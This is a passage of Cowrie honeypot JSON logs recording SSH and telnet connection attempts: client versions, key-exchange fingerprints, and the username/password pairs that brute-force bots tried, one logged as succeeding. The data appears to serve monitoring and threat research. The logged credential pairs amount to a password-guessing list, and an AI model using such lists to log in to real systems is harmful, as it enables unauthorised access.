openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:07.001357Z","src_ip":"211.254.212.59","session":"0e6a0336f65f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:07.846745Z","src_ip":"211.254.212.59","session":"0e6a0336f65f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:08.053168Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:08.063990Z","src_ip":"211.254.212.59","session":"0e6a0336f65f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56790,"dst_ip":"10.17.0.5","dst_port":22,"session":"41d86f7730fe","protocol":"ssh","message":"New connection: 80.94.92.186:56790 (10.17.0.5:22) [session: 41d86f7730fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:10.455098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:10.527909Z","src_ip":"80.94.92.186","session":"41d86f7730fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:10.762339Z","src_ip":"80.94.92.186","session":"41d86f7730fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:11.797171Z","src_ip":"80.94.92.186","session":"41d86f7730fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:13.022620Z","src_ip":"80.94.92.186","session":"41d86f7730fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":41922,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb286aa8cb9","protocol":"ssh","message":"New connection: 211.254.212.59:41922 (10.17.0.5:22) [session: abb286aa8cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:58.398749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:58.403824Z","src_ip":"211.254.212.59","session":"abb286aa8cb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:58.605064Z","src_ip":"211.254.212.59","session":"abb286aa8cb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:59.441630Z","src_ip":"211.254.212.59","session":"abb286aa8cb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:40:00.646319Z","src_ip":"211.254.212.59","session":"abb286aa8cb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":58764,"dst_ip":"10.17.0.5","dst_port":22,"session":"cec932ab4d01","protocol":"ssh","message":"New connection: 211.254.212.59:58764 (10.17.0.5:22) [session: cec932ab4d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:40:55.896186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:40:55.900341Z","src_ip":"211.254.212.59","session":"cec932ab4d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:40:56.102793Z","src_ip":"211.254.212.59","session":"cec932ab4d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"passw0rd","message":"login attempt [administrator/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:40:56.945583Z","src_ip":"211.254.212.59","session":"cec932ab4d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:40:58.152522Z","src_ip":"211.254.212.59","session":"cec932ab4d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":47374,"dst_ip":"10.17.0.5","dst_port":22,"session":"9617ced92a40","protocol":"ssh","message":"New connection: 211.254.212.59:47374 (10.17.0.5:22) [session: 9617ced92a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:41:54.580314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:41:54.585573Z","src_ip":"211.254.212.59","session":"9617ced92a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:41:54.784907Z","src_ip":"211.254.212.59","session":"9617ced92a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test23","message":"login attempt [admin/test23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:41:55.607517Z","src_ip":"211.254.212.59","session":"9617ced92a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:41:56.809046Z","src_ip":"211.254.212.59","session":"9617ced92a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59476,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0938a556d6","protocol":"ssh","message":"New connection: 80.94.92.186:59476 (10.17.0.5:22) [session: fa0938a556d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:22.491287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:22.586217Z","src_ip":"80.94.92.186","session":"fa0938a556d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:22.781693Z","src_ip":"80.94.92.186","session":"fa0938a556d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol321","message":"login attempt [sol/sol321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:24.138541Z","src_ip":"80.94.92.186","session":"fa0938a556d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:25.458576Z","src_ip":"80.94.92.186","session":"fa0938a556d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":35994,"dst_ip":"10.17.0.5","dst_port":22,"session":"b03014b8b449","protocol":"ssh","message":"New connection: 211.254.212.59:35994 (10.17.0.5:22) [session: b03014b8b449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:53.474686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:53.484496Z","src_ip":"211.254.212.59","session":"b03014b8b449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:53.685866Z","src_ip":"211.254.212.59","session":"b03014b8b449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntulinux","message":"login attempt [root/ubuntulinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:54.504923Z","src_ip":"211.254.212.59","session":"b03014b8b449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:42:55.716451Z","src_ip":"211.254.212.59","session":"b03014b8b449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":52848,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f470739c8c","protocol":"ssh","message":"New connection: 211.254.212.59:52848 (10.17.0.5:22) [session: e4f470739c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:43:51.965655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:43:51.976841Z","src_ip":"211.254.212.59","session":"e4f470739c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:43:52.174415Z","src_ip":"211.254.212.59","session":"e4f470739c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@123","message":"login attempt [root/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:43:52.990248Z","src_ip":"211.254.212.59","session":"e4f470739c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:43:54.190335Z","src_ip":"211.254.212.59","session":"e4f470739c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.251.180.238","src_port":45756,"dst_ip":"159.203.135.109","dst_port":23,"session":"e807f592ebdb","protocol":"telnet","message":"New connection: 104.251.180.238:45756 (159.203.135.109:23) [session: e807f592ebdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:44:38.232655Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":41468,"dst_ip":"10.17.0.5","dst_port":22,"session":"0100ee176d75","protocol":"ssh","message":"New connection: 211.254.212.59:41468 (10.17.0.5:22) [session: 0100ee176d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:44:49.155301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:44:49.160969Z","src_ip":"211.254.212.59","session":"0100ee176d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:44:49.357705Z","src_ip":"211.254.212.59","session":"0100ee176d75","protocol":"ssh"}
